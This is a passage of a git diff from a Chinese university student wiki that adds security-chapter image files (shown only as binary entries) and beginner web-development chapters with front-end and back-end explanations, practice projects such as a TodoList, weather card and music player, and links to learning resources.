Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png
new file mode 100644
index 0000000..f27572d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnV68mdIQmovJwczDsOc53gc.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png
new file mode 100644
index 0000000..f5086a5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnVRdntvakiTpt7nP8JhKKfc.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png
new file mode 100644
index 0000000..ef4c38c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnXyMaLh26lkNuAPiQVHuaNg.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png
new file mode 100644
index 0000000..ffb40c2
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnaRtyUGC0sX3btnFIgpDCob.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png
new file mode 100644
index 0000000..42eba6e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbAKreqEeZxOYQuQMtZbd9d.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png
new file mode 100644
index 0000000..b3a5abc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbMtjAq8osStjcSbFuIdDSc.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png
new file mode 100644
index 0000000..1b63300
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnbaW15gnJc1O9Iv9WXqJxPc.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png
new file mode 100644
index 0000000..32e962e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcndxf4WEQQQEXspS7GwNKI6J.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png
new file mode 100644
index 0000000..01704b5
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcniDohuM3F8FbMqz7YSC0Y5g.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png
new file mode 100644
index 0000000..307919b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnkwvSnhKBhlHNLOSthgul9d.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png
new file mode 100644
index 0000000..668cf60
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnl67uDDSIdh3J7y7Jxjk0dc.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png
new file mode 100644
index 0000000..bc140d2
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnpCCmEi6LIKNi0UqEkXfJ8g.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png
new file mode 100644
index 0000000..8904d1a
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnrMIc2m6oubxC86CEtw1jMe.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png
new file mode 100644
index 0000000..89a1a3f
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnsStdHC5VmBylyx6S7hakEb.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/gdb.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/gdb.png
new file mode 100644
index 0000000..c3b6081
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/gdb.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/main.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/main.png
new file mode 100644
index 0000000..d28b631
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/main.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/out1.PNG b/技术资源汇总(杭电支持版)/6.计算机安全/static/out1.PNG
new file mode 100644
index 0000000..64143d7
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/out1.PNG differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/out2.PNG b/技术资源汇总(杭电支持版)/6.计算机安全/static/out2.PNG
new file mode 100644
index 0000000..7dfbd2d
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/out2.PNG differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/s.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/s.png
new file mode 100644
index 0000000..0f6d2ca
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/s.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/shell.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/shell.png
new file mode 100644
index 0000000..abf643c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/shell.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/stack.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/stack.png
new file mode 100644
index 0000000..0c9242e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/stack.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/stack2.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/stack2.png
new file mode 100644
index 0000000..43990e4
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/stack2.png differ
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门.md
new file mode 100644
index 0000000..22b892b
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门.md
@@ -0,0 +1,151 @@
+# 7.网络应用开发入门
+
+> 作者：aFlyBird0
+>
+> 我本来写了一大堆客套话，诸如各位“恭喜各位看到这里”、“本章节多么多么有趣、干货、面向就业”。然后全部删掉，决定采用结构化的写作方式来写。
+
+## 章节题目解释
+
+- 何为 Web：可以狭义地理解为<strong>「前端」+「后端」</strong>
+- 何为开发：明确产品需求，写代码，调试代码，部署项目，写项目文档，维护项目
+- 何为入门：不知道要马上学会，而是知道 Web 开发是什么，以及如何去学
+
+## 前端？后端？
+
+### **行业背景**
+
+前端开发和后端开发可以说是 2023 年以前，计算机学生就业最广泛的方向（当然工资也不低）
+
+- 为什么前后端就业最广泛？因为需求决定了供给。
+
+我们接触互联网，直接使用最多的是什么？——软件
+
+同样，我们可以狭义地把大部分软件开发理解为：**「软件」（程序员需要做的部分）=「****前端****」+「后端」**
+
+所以大部分计算机学生毕业，都是为公司的具体的业务，开发对应的手机 APP、网站、电脑软件。
+
+- 为什么说是 2023 年以前？
+
+本文写于 2023 年 4 月，2023 年以来，AI（ChatGPT、Copilot、MidJourney）正在颠覆每个领域。可能在不远的将来，大部分的前后端开发，都能通过 AI 自动生成 99% 的代码，然后人工审核、校对、修改剩下的 1%。
+
+### **步入正题 - 何为前后端 - 通俗认识**
+
+**前端**
+
+前端可以狭义地理解为，一个软件中看得到的部分。比如网页上的文字图片、各种花里胡哨的样式、以及交互操作。广义上来说，大家用的各种 APP、电脑上的应用程序，用户界面的部分都是前端干的活。
+
+**后端**
+
+相对于前端，后端当然是「看不见的部分」。
+
+为什么有前端？因为光有后端是不行的哈哈哈。
+
+举个例子，网上有很多软件都可以修改支付宝上的「余额」，如果只有 APP 表面，即前端，那不是人均黑客，人均首富？
+
+所以一个软件的关键数据，肯定不是在用户侧（即前端）的。需要有这么一个东西，来存储数据（存储数据的地方叫数据库），来解析用户的请求，这就是后端。
+
+**例子**
+
+举个详细的例子，购物软件上点了下单并支付，这时候前端就会发送一个网络请求，告诉后端：<em>用户某某某，买了什么东西，价格和数量是多少，收货地址是多少。。。</em>
+
+后端收到了信息，先解析，然后修改数据库中存储的关键信息，比如新建一个订单信息，把商品的数量 -1 等等，再把下单的结果告诉给前端。前端收到信息后，就会渲染页面，提示「下单成功」！
+
+### **深入 - 何为前后端 - 技术剖析**
+
+在了解了前后端的宏观概念后，我们继续来感受一下背后的技术细节吧！
+
+你可以把本段内容当成一个前后端学习的「骨架」、「全局地图」，在看后面的前后端具体技术细节时，就能通过本段把零散的知识点串起来，激活「全局地图」中的一个个模块。
+
+干讲技术细节实在太无趣了，我们直接上手实战吧！
+
+不要怕，我「实战」，你「感谢」就行！
+
+::: warning 📌
+假设我们要做一个「留言板」
+:::
+
+#### 2.3.1 明确需求
+
+开发程序前（无论是自己独立开发、还是以后工作），一定要先明确需求。
+
+正式的需求定义很复杂，而且计算机有门课专门会教（《软件工程》）。
+
+我们这里就来个极简版吧：
+
+1. 最终形态是网站（用户访问 [https://message.hdu-cs.wiki](https://message.hdu-cs.wiki) 就能参与留言，这个网站是虚构的 不存在哦~）。
+2. 留言的时候需要填写昵称（不需要注册）、留言内容（只支持纯文字）。
+
+#### 2.3.2 前端
+
+想知道前端需要用到什么技术，就来看看前端到底需要解决什么问题吧！
+
+1. **页面渲染**
+
+无论是做网页，还是做 APP 界面，都得「画」出界面。
+
+比如控制留言的字体、大小、颜色，边框、动画、特效。
+
+要在不同的软件载体上「作画」，需要不同的编程语言/技术，比如网页需要 html+css，安卓 APP 需要 Android（Java），IOS 软件是 Swift。
+
+<em>（拓展：还有一些技术能够做到跨平台，比如通过某种技术把浏览器包装成一个 APP，就能只出同时支持浏览器和 APP 的</em><em>前端</em><em>；比如创建新的第三方前端框架，能把程序员写的代码转换成原生的 IOS、安卓 APP）</em>
+
+1. **用户交互**
+
+如何实现“点击「留言」按钮，系统自动提交留言”？或者当用户点击按钮的时候，检测一下用户输入的内容是不是空。
+
+同样，为了实现交互，不同的载体需要的编程语言也是不一样的。比如网页，需要的是 JavaScript（简称 JS）。
+
+#### 2.3.3 后端
+
+我们在前端部分，已经实现了展示页面、处理提交动作。
+
+Q：但，只有前端行不行呢？
+
+A：当然不行！如果只有前端，那么 A 用户在浏览器中提交的留言，怎么才能发送到 B 的浏览器里呢？
+
+Q：可以直接把留言信息直接发送到 B 的浏览器里吗？
+
+A：理论上可以。但一般不会这么做（除了一些实时的网络聊天室可能会这么做）。想象一下，如果这么做，就需要 A 留言的时候，B 的浏览器一定是打开的，那还叫「留言」吗？以及，A 怎么知道 B 的浏览器的「网络地址」？即使上面的问题都解决了，那么 C 如果在后期加入，是不是完全看不到以前的消息了？哪怕上面的问题又都解决了，可数据都是存在用户自己的浏览器里，如何防止被篡改？（类比前面的支付宝的例子）
+
+登登登，后端登场！
+
+![](https://cdn.xyxsw.site/boxcnorsQ6py7AU0LsCtn4f5LSd.png)
+
+解释一下：
+
+1. 黑色的线条代表「留言」时发生的一系列事情，橙色的线条代表「查看留言」时发生的事情
+2. 留言：用户 1 和前端交互，把留言的信息发送给后端，后端收到消息后，解析消息，并把数据存到数据库里。然后把结果反馈给用户。
+3. 查看留言：用户 2 想查看留言的时候，向后端发起一个获取信息的请求，后端把信息从数据库拿出来，给前端，前端渲染后展示给用户。
+4. 后端只有一份，前端有 n 份（比如每个浏览器一份，每个 app 一份）
+
+#### 2.3.4 前后端交互
+
+那么前后端之间又是怎么交互的呢？
+
+无论是最古老的飞鸽传书，还是现在的打电话，传输消息都有这样几个参与的角色：
+
+1. 沟通双方
+2. 沟通介质
+3. 沟通协议
+
+如果是飞鸽传书，那么介质是鸽子，协议就是中文。
+
+如果是前后端交互，那么介质就是互联网（有线、无线、服务器），协议就相对抽象一些，比如如何把信息编码、转换成电信号等等。关键词：HTTP 协议、JSON、计算机网络。
+
+#### 2.3.5 后续
+
+其实开发一个程序，除了前面提到的明确需求、写代码，还有很多后续的步骤：
+
+1. 测试
+2. 如果程序出现了 bug，调试程序
+3. 没问题之后需要把写好的后端部署到服务器上。即放到一个互联网公网能访问的地方，给出前端地址（也就是 [https://message.hdu-cs.wiki](https://message.hdu-cs.wiki)）同时后端也要运行起来，处理后台逻辑。
+4. 写项目文档，防止后面接手的人看不懂你写的项目（甚至不写文档可能过几天你自己都看不懂了）
+5. 持续维护项目（修复 bug，开发新功能）
+
+（拓展，当你已经能独立开发简单的前后端程序后，可以尝试搜索一下 DevOps，可以让你的开发、测试、部署流程更加简单、快速、高效）
+
+## 正式踏上前后端学习之旅
+
+马上要动真格的了！
+
+请阅读后续内容。
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套).md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套).md
new file mode 100644
index 0000000..cb7a7c9
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套).md
@@ -0,0 +1,154 @@
+# 基础(三件套)
+
+## 🔑 萌新需要知道的前置知识
+
+### 前端入门<del>到入土</del>
+
+不同于后端语言的多样化，前端语言较为统一。在萌新阶段，你需要先掌握 HTML、CSS、JS 三种语言（人称前端三<del>剑客</del>件套）
+
+三者关系可以简单理解为：HTML 是骨架，CSS 是衣服装饰，JS 则控制交互行为
+
+以下提供一些可供参考的学习资料，你也可以按兴趣在 b 站大学搜索相关学习视频。在学习中遇到无法解决的问题，或者学习路径上的迷茫，也可以参考[提问的智慧](https://learnku.com/laravel/t/2396/wisdom-of-asking-questions-chinese-version)向群里的前端学姐们提问噢~
+
+#### HTML & CSS
+
+[MDN Web 入门](https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web)
+
+[前端入门必会的初级调试技巧](https://zhuanlan.zhihu.com/p/145466139)
+
+#### JavaScript
+
+[现代 JavaScript 教程](https://zh.javascript.info/)
+
+::: warning 🎈
+**快速上手的参考建议**
+
+**HTML**可以先认知常用标签（body / div / span / a / img 等）及其常用属性
+
+**CSS**了解常见的颜色属性（字体颜色 / 背景颜色 / 边框颜色 等）、字体相关属性（字号 / 字重 / 行高 等）、盒子模型（padding / border / margin）、用于布局的属性（float / flex / grid）、单位（px / rem / em / vh / vw 等）、选择器（id 选择器 / 类选择器 等）
+
+**JS**了解基本语法（变量定义 / 判断 / 循环 / 函数定义 / etc）与 DOM 操作
+
+涉及**前后端交互**的部分可以了解 fetch 的使用
+
+其他诸如 HTML5 / CSS3 / ES6+ 的知识可以暂时跳过，<del>任务要用到再查</del>
+
+基本全部前端开发资料都可以在 [MDN](https://developer.mozilla.org/) 中找到
+
+:::
+
+### 🥂 助手介绍网页的重写
+
+设计部姐姐给了前端部一个助手介绍网页的设计稿，但是 psyq 觉得[目前的助手介绍网页](https://www.hduhelp.com/)写得不是很还原，你可以帮 psyq 重写一个更好看的网页吗？
+
+设计稿如下：
+
+![](https://cdn.xyxsw.site/boxcnVR5z4U8YlXZbc8beDNEHXc.jpg)
+
+#### 可能需要用到的图片资源
+
+![](https://cdn.xyxsw.site/boxcnbigxAK5SbxiWuDHr1Ashne.png)
+
+![](https://cdn.xyxsw.site/boxcnrqddPFusKhe0vZuzXJOosg.png)
+
+#### 基本要求
+
+- 大致还原设计稿的基础上可以自由发挥，要求美观
+
+  - 设计稿内容的大致布局
+  - 背景颜色/样式 & 文字颜色/样式
+  - 文字与容器的位置关系
+  - ……
+
+#### 额外发挥
+
+- 各处样式的细节（圆角 / 阴影 / 渐变）
+- 对不同设备屏幕尺寸进行适配
+- 为显示内容增加一些动态效果
+- 无法一页显示所有内容时，试试在下滑页面时显示一个 `返回顶部` 的按钮
+
+#### 可能涉及的知识点
+
+- 使用 HTML 构建页面的基础布局
+
+  - 了解常用的 HTML 标签
+
+    - HTML 引入外部图片文件（`<img>`）
+- 如何让 HTML / CSS / JS 相互配合
+
+  - HTML 中书写 css 使用 `<style>`
+  - 引入 css 等资源使用 `<link>`
+  - 书写/引入 js 使用 `<script>`
+- 使用 CSS 为页面赋予样式
+
+  - 了解常见网页布局（了解 [float](https://developer.mozilla.org/zh-CN/docs/Web/CSS/float)，[flex](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)/ [grid](https://developer.mozilla.org/zh-CN/docs/Web/CSS/grid)布局，综合运用不同布局来完成页面）
+  - 使用 [css 选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Selectors)选中 HTML 元素添加样式（[id 选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/ID_selectors) / [类选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Class_selectors) / etc.）
+  - 自适应布局（查阅 `媒体查询`）
+  - 交互渐变动效（查阅 css 属性： `transition`、`animation`）
+- JS 添加交互行为
+
+  - 监听用户下滑网页的行为并改变 `返回顶部` 按钮的可见状态（[scroll 滚动事件](https://developer.mozilla.org/zh-CN/docs/Web/API/Document/scroll_event)，[DOM 操作入门](https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents)）
+
+### 🎫TodoList
+
+![](https://cdn.xyxsw.site/boxcnikdFX5WNml7sgtPMOJQiGh.png)
+
+![](https://cdn.xyxsw.site/boxcnFZwQVTUWkfsbNxYfJkgPDg.png)
+
+<center>一些参考</center>
+
+或许你也曾是一名时间管理大师，在各种效率类 app 立下自己要做的 flag。然而现成的工具难免无法满足自己的所有需求，那么不妨来编写一个自己的 TodoList 吧~
+
+#### 基本要求
+
+- 可以对 todo 进行增删改查
+- 至少存在 **待完成**/**已完成** 两种不同的状态，Todo 应该能够在不同状态间切换。更进一步，你也可以设计一个 **进行中** 状态。
+
+#### 额外发挥
+
+- 页面刷新后数据不丢失
+
+参考实现方案：
+
+1. 使用浏览器提供的储存功能实现本地存储（[localStorage](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage)、[IndexedDB](https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API)）
+2. 通过请求后端 api 实现云端存储
+
+- 删除待办时弹出操作不可逆的提示
+- 在交互时适当添加缓动效果
+- 设计定时 todo，可在用户设定的时间点对用户进行提醒
+- 实现不同设备屏幕尺寸的自适应
+- 添加任务热力图 (可以参考一下 GitHub 个人主页哦 🤔)
+
+![](https://cdn.xyxsw.site/boxcncVQswB7ziUoV4LvEs35DAe.png)
+
+#### 可能涉及的知识点
+
+- 使用 HTML 构建页面的基础布局
+
+  - 了解常用的 HTML 标签
+
+    - HTML 引入外部图片文件（`<img>`）
+- 如何让 HTML / CSS / JS 相互配合
+
+  - HTML 中书写 css 使用 `<style>`
+  - 引入 css 等资源使用 `<link>`
+  - 书写/引入 js 使用 `<script>`
+- 使用 css 为页面赋予样式
+
+  - 了解常见网页布局（了解 [float](https://developer.mozilla.org/zh-CN/docs/Web/CSS/float)，[flex](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)/ [grid](https://developer.mozilla.org/zh-CN/docs/Web/CSS/grid)布局，综合运用不同布局来完成页面）
+  - 使用 [css 选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Selectors)选中 HTML 元素添加样式（[id 选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/ID_selectors) / [类选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Class_selectors) / etc.）
+  - 自适应布局（查阅 `媒体查询`）
+  - 交互渐变动效（查阅 css 属性： `transition`、`animation`）
+- JS 添加交互行为
+
+  - 获取网页中的待办项（查阅 [DOM 操作入门](https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents)）
+  - 添加新的待办项（查阅 [DOM 操作入门](https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents)）
+  - 删除网页中的待办项（查阅 [DOM 操作入门](https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents)）
+  - 监听待办项的点击事件，以改变待办项的状态（查阅[click 单击事件](https://developer.mozilla.org/zh-CN/docs/Web/API/Element/click_event)）
+  - 将当前待办项列表存储在本地（查阅 [localStorage(较简单)](https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage)、[IndexedDB](https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API) 文档）
+  - 远程请求后端接口（了解 [fetch](https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch_API/Using_Fetch)和[js 异步](https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Asynchronous)）
+  - 定时提醒用户待办的时间（查阅 [setTimeout](https://developer.mozilla.org/zh-CN/docs/Web/API/setTimeout)/ [setInterval](https://developer.mozilla.org/zh-CN/docs/Web/API/setInterval)）
+
+#### 小提示
+
+可以参考 [todomvc](https://todomvc.com/examples/javascript-es6/dist/)（[source](https://github.com/tastejs/todomvc/tree/gh-pages/examples/javascript-es6)[源码](https://github.com/tastejs/todomvc/tree/gh-pages/examples/javascript-es6)）中关于 js 实现 todolist 的方法，不过还是得亲手实践哦~
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.2进阶(小项目).md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.2进阶(小项目).md
new file mode 100644
index 0000000..2af4417
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.2进阶(小项目).md
@@ -0,0 +1,102 @@
+# 进阶(小项目)
+
+::: warning 📌
+
+如果是有一定基础的同学，可以考虑采用一些辅助工具(React / Vue / jQuery 等)，样式方面也可以采用你喜欢的组件库(Antd / ElementUI / Bootstrap 等)实现。
+
+:::
+
+## 🌥 天气组件
+
+如果你曾经用过助手的小程序，你可能会在首页看到这样的天气卡片：
+
+![](https://cdn.xyxsw.site/boxcnTNJhtqw6Km24fKgAnjZtBS.png)
+
+当然了，平时大家也会用到各种天气 APP
+
+![](https://cdn.xyxsw.site/boxcnUuqMoTjiOH9NSdYx4GCGme.png)
+
+那么，让我们动手实现一个天气卡片吧~
+
+### 基本要求
+
+- 通过网络接口请求得到天气数据
+
+  - 天气 api 可自行获取，各种服务商会提供注册免费使用的天气接口，如高德和彩云
+  - 能够获取杭州当前天气和周边基本信息即可
+- 制作一套简易的天气卡片，展示实时天气和天气预报
+
+  - 实时天气
+
+    - 显示当前的基本信息，如城市地区、时间
+    - 显示当前的气温和天气现象状态
+    - 制作一个相关信息卡片，显示当前风向、湿度等数据
+    - 相关样式可以参考主流天气组件，要求美观即可，可以适当增加 icon 和图表增加美观度
+  - 天气预报
+
+    - 通过列表显示未来几天天气数据，如温度、风向等
+    - 相关样式同时可以参考主流天气组件，如未来天气可以通过折线图直观表示
+
+### 额外发挥
+
+- 根据你的数据源，可以展示更多的天气数据，如穿衣建议、舒适度等
+- 增加定位功能，可以使用原生 [Geolocation ](https://developer.mozilla.org/zh-CN/docs/Web/API/Geolocation_API)API 或其他方式，可以通过简单的地图（借助各种地图库）展示当前位置
+- 如有需要，不妨试试前沿的浏览器特性，只要是能够在最新版 Chrome Canary 通过 flags 开启的特性均可使用，如容器查询([Container Queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Container_Queries))、[CSS Layout API](https://drafts.css-houdini.org/css-layout-api)。
+
+### 你可能需要的资料
+
+- icon 相关
+
+  - [icon 图标库](https://www.iconfont.cn/)
+  - [优雅地使用 icon](https://juejin.cn/post/6844903517564436493)
+  - [iconify](http://icon-sets.iconify.design/)
+- 请求相关
+
+  - [fetch 的使用](https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch_API/Using_Fetch)
+  - [高德地图天气 API](https://lbs.amap.com/api/javascript-api/guide/services/weather)
+  - [彩云天气 API](https://docs.caiyunapp.com/weather-api/)
+  - [MDN Geolocation API Docs](https://developer.mozilla.org/zh-CN/docs/Web/API/Geolocation_API)
+- 图表相关
+
+  - [Chart.js](https://www.chartjs.org/)
+  - [G2Plot 开箱即用的图表库](https://g2plot.antv.vision/zh)
+
+## 🎶 音乐播放器
+
+![](https://cdn.xyxsw.site/boxcnRaBolh8i2FkoIJW69a5g3e.png)
+
+![](https://cdn.xyxsw.site/boxcnJ13CDzxp9lwEtGivTuJ4nh.png)
+
+相信你平时或多或少都会听音乐，那么你是喜欢用网易云还是 QQ 音乐呢？或者是系统自带的音乐播放器？不过，其实你也可以自己做一个音乐播放器，来满足你对听音乐这件事的所有幻想，听起来是不是很酷呢 😎~那么，来试试看吧！
+
+### 基本要求
+
+- 通过网络接口请求得到音乐数据
+- 支持播放至少两首音乐
+- 可根据名字对音乐进行检索与选择
+- 音乐播放器可以是小组件形式，也可以是整页形式。播放器拥有以下基本要素：
+
+1. 播放、暂停、上一首、下一首
+2. 音乐封面
+3. 显示歌曲名称、歌手名称
+4. 显示音乐播放进度
+
+### 额外发挥
+
+- 可调节播放器音量
+- 为音乐添加滚动歌词
+- 对音乐进行评论
+- 支持音乐的收藏与分享
+- 支持用户上传本地音乐
+
+### 你可能需要的资料
+
+- icon 相关
+
+  - [icon 图标库](https://www.iconfont.cn/)
+  - [优雅地使用 icon](https://juejin.cn/post/6844903517564436493)
+  - [iconify](http://icon-sets.iconify.design/)
+- 请求相关
+
+  - [fetch 的使用](https://developer.mozilla.org/zh-CN/docs/Web/API/Fetch_API/Using_Fetch)
+  - [音乐资源 api](https://www.free-api.com/doc/369)
diff --git a/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.3附录1：前端介绍（详细版）.md b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.3附录1：前端介绍（详细版）.md
new file mode 100644
index 0000000..8135ab8
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.3附录1：前端介绍（详细版）.md
@@ -0,0 +1,61 @@
+# 附录 1：前端介绍（详细版）
+
+## 前端的概念
+
+前端，想要入门，则必须要知道他所指代的内容。
+
+它分为狭义和广义。其中，广义其实是狭义的一个更深入的发展的结果。
+
+狭义就是指网页，而广义则是指互联网中一切可见的界面及交互功能。设计师负责设计出好看的界面，而前端工程师则是负责把他实现，并在实现基础上增加交互的部分和实际的功能。例如：各种 GUI、小程序 (各种)、快应用、APP 的界面、网页、鸿蒙应用等都可以由前端来完成。
+
+有些人可能会疑惑，这也算前端。我只能说，这就是大前端时代。许多人学习前端，在网上寻找教程，找到的教程都是非常远古或者基础的。
+
+由于前端的发展历史很长，教程也必须与时俱进。以前的教程仅限网页制作，但如今前端领域日新月异，各种新框架新功能不断开辟，我们不能都有所涉及，但也不能做井底之蛙。
+
+## 前端的学习
+
+因此，想要入门前端，则必须先建立一个较好的世界观，才能进行方法论的学习。最最基础的前端，也就是网页，需要从网页三剑客开始学习，即 HTML、CSS、JavaScript。
+这三样一个负责描述网页内容，一个负责描述网页样式，一个负责网页交互。
+
+没错，这三个就是三门语言。每门语言都有不可忽视的发展成果。大多数人在网上寻找教程，找到的都是最基础的教程，甚至没有与时俱进，比如有许多废弃的规定还在教程中，比如有新的语法规范却没有教授。
+
+这里希望大家通过搜索引擎的帮助，让自己建立一个正确的前端世界观，如果大家想要学好前端，必须要自己学会阅读文档。因为官方文档才是最前沿的，最正确的，最全面的。
+
+- 前端三剑客
+  - <https://www.w3school.com.cn/html/html5_intro.asp>
+  - <https://www.w3school.com.cn/css/index.asp>
+  - <https://www.w3school.com.cn/js/index.asp>
+
+## 前端的历史
+
+从历史中较为全面的了解前端，可以帮助你快速建立相关的观念。
+
+当然，前端的历史，大家可以看看知乎上高赞的回答。我这里只说一下我的观念。前端在历史发展中，非常注重一个理念，
+
